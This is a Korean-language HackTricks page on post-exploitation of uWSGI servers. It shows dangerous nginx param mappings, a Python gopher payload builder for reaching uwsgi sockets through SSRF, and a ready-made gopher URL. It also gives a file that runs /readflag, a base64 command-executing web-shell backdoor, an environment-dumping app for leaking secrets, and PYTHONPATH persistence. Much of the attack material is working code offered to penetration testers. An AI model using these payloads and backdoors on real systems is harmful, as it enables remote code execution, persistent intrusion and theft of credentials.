WSGI Post-Exploitation Tricks
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
WSGI 개요
Web Server Gateway Interface (WSGI)은 웹 서버가 웹 애플리케이션과 통신하는 방식과, 하나의 요청을 처리하기 위해 웹 애플리케이션을 체이닝하는 방법을 정의한 규격입니다. uWSGI는 가장 인기 있는 WSGI 서버 중 하나로, 주로 Python 웹 애플리케이션을 제공하는 데 사용됩니다. uWSGI의 네이티브 바이너리 전송 방식은 uwsgi 프로토콜(소문자)로, 백엔드 애플리케이션 서버로 키/값 파라미터들을 전달합니다(“uwsgi params”).
참고할 만한 관련 페이지:
SSRF (Server Side Request Forgery)
uWSGI 매직 변수 악용
uWSGI는 인스턴스가 애플리케이션을 로드하고 디스패치하는 방식을 변경할 수 있는 “magic variables“를 제공합니다. 이 변수들은 일반적인 HTTP 헤더가 아니라, reverse proxy (nginx, Apache mod_proxy_uwsgi 등)에서 uWSGI 백엔드로 전달되는 uwsgi/SCGI/FastCGI 요청 내부에 실리는 uwsgi 파라미터들입니다. 프록시 설정이 사용자 제어 데이터를 uwsgi 파라미터에 매핑한다면(예: $arg_*, $http_*를 통해, 또는 uwsgi 프로토콜을 사용하는 안전하지 않게 노출된 엔드포인트를 통해), 공격자가 이러한 변수를 설정하여 코드 실행을 달성할 수 있습니다.
프론트 프록시에서의 위험한 매핑 (nginx 예시)
다음과 같은 잘못된 설정은 uWSGI의 magic variables를 사용자 입력에 직접 노출합니다:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
앱이나 업로드 기능이 예측 가능한 경로에 파일을 쓸 수 있게 허용하는 경우, 위의 매핑과 결합하면 백엔드가 공격자가 제어하는 파일/모듈을 로드할 때 보통 즉시 RCE가 발생합니다.
주요 악용 변수
UWSGI_FILE - 임의 파일 로드/실행
uwsgi_param UWSGI_FILE /path/to/python/file.py;
임의의 Python 파일을 WSGI 애플리케이션으로 로드하고 실행합니다. 공격자가 uwsgi param bag을 통해 이 매개변수를 제어할 수 있으면 Remote Code Execution (RCE)을 달성할 수 있습니다.
UWSGI_SCRIPT - 스크립트 로딩
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
지정된 스크립트를 새로운 애플리케이션으로 로드합니다. 파일 업로드나 쓰기 기능과 결합되면 이는 RCE로 이어질 수 있습니다.
UWSGI_MODULE 및 UWSGI_CALLABLE - 동적 모듈 로딩
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
이 매개변수들은 임의의 Python 모듈을 로드하고 그 안의 특정 함수를 호출할 수 있도록 허용합니다.
UWSGI_SETENV - 환경 변수 조작
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
환경 변수를 변경하는 데 사용될 수 있으며, 애플리케이션 동작에 영향을 주거나 악성 구성을 로드할 수 있습니다.
UWSGI_PYHOME - Python 환경 조작
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Python 가상 환경을 변경하여 악성 패키지나 다른 Python 인터프리터를 로드할 수 있습니다.
UWSGI_CHDIR - 디렉토리 변경
uwsgi_param UWSGI_CHDIR /etc/;
요청을 처리하기 전에 작업 디렉터리를 변경하며 다른 기능들과 함께 사용될 수 있습니다.
SSRF + uwsgi protocol (gopher) pivot
위협 모델
대상 웹 앱이 SSRF primitive를 노출하고 uWSGI 인스턴스가 내부 TCP 소켓(예: socket = 127.0.0.1:3031)에서 리스닝하는 경우, gopher를 통해 raw uwsgi protocol로 통신하고 uWSGI magic variables를 주입할 수 있습니다.
많은 배포 환경에서 내부적으로 비-HTTP uwsgi 소켓을 사용하고, reverse proxy(nginx/Apache)가 클라이언트의 HTTP를 uwsgi param bag으로 변환하기 때문에 이것이 가능합니다. SSRF+gopher를 사용하면 uwsgi 바이너리 패킷을 직접 제작하여 UWSGI_FILE 같은 위험한 변수를 설정할 수 있습니다.
uWSGI 프로토콜 구조 (간단 참조)
- 헤더(4 bytes):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - 바디: sequence of
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
표준 요청의 경우 modifier1은 0입니다. 바디에는 SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE 등과 같은 uwsgi params가 포함됩니다. 전체 세부 사항은 공식 protocol spec을 참조하세요.
최소 패킷 빌더 (gopher payload 생성)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
서버에 이전에 작성된 파일을 force-load하는 예시:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
생성된 URL을 SSRF sink를 통해 전송하세요.
실습 예제
디스크에 python 파일(확장자는 상관없음)을 다음과 같은 코드로 작성할 수 있다면:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
이 경로로 UWSGI_FILE을 설정하는 gopher payload를 생성하고 트리거하세요. 백엔드는 이를 import하여 WSGI 앱으로 실행합니다.
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
이를 UWSGI_FILE로 로드하고 선택한 SCRIPT_NAME 아래에서 접근하세요.
Environment-based Persistence
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. 정보 노출
환경 변수 덤핑
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
파일 시스템 접근
UWSGI_CHDIR를 파일 제공 도우미와 결합해 민감한 디렉터리를 탐색하세요.
3. 권한 상승 아이디어
- uWSGI가 상승된 권한으로 실행되고 sockets/pids를 root 소유로 기록한다면, env와 디렉터리 변경을 악용해 권한 있는 소유자(root)로 파일을 배치하거나 런타임 상태를 조작할 수 있습니다.
UWSGI_FILE을 통해 로드된 파일 내부에서 환경(UWSGI_*)로 구성을 재정의하면 process model과 workers에 영향을 주어 persistence를 더 은밀하게 만들 수 있습니다.
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
uWSGI 체인에 관련된 Reverse-proxy desync 이슈 (최근)
mod_proxy_uwsgi를 사용하는 Apache httpd 배포는 프론트엔드↔백엔드 중간 계층에 영향을 줄 수 있는 response-splitting/desynchronization 버그를 최근에 겪었습니다:
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; 또한 uWSGI 통합의 2.0.22/2.0.26 이전 수정사항에 관련됨): 원본(origin) 응답 헤더를 조작하면
mod_proxy_uwsgi사용 시 HTTP response smuggling을 유발할 수 있습니다. Apache를 ≥2.4.56으로 업그레이드하면 완화됩니다. - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): 여러 httpd 모듈에서의 HTTP response splitting이 백엔드가 헤더를 주입할 때 desync로 이어질 수 있습니다. uWSGI 2.0.26의 changelog에서는 이것을 “let httpd handle CL/TE for non-http handlers.”로 설명합니다.
이들은 uWSGI에서 직접적인 RCE를 바로 부여하지는 않지만, 엣지 케이스에서는 header injection 또는 SSRF와 체인으로 연결되어 uWSGI 백엔드로 피벗할 수 있습니다. 테스트 시에는 프록시와 버전을 fingerprint하고, desync/smuggling primitives를 백엔드 전용 라우트 및 sockets로 접근하는 진입점으로 고려하세요.
References
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

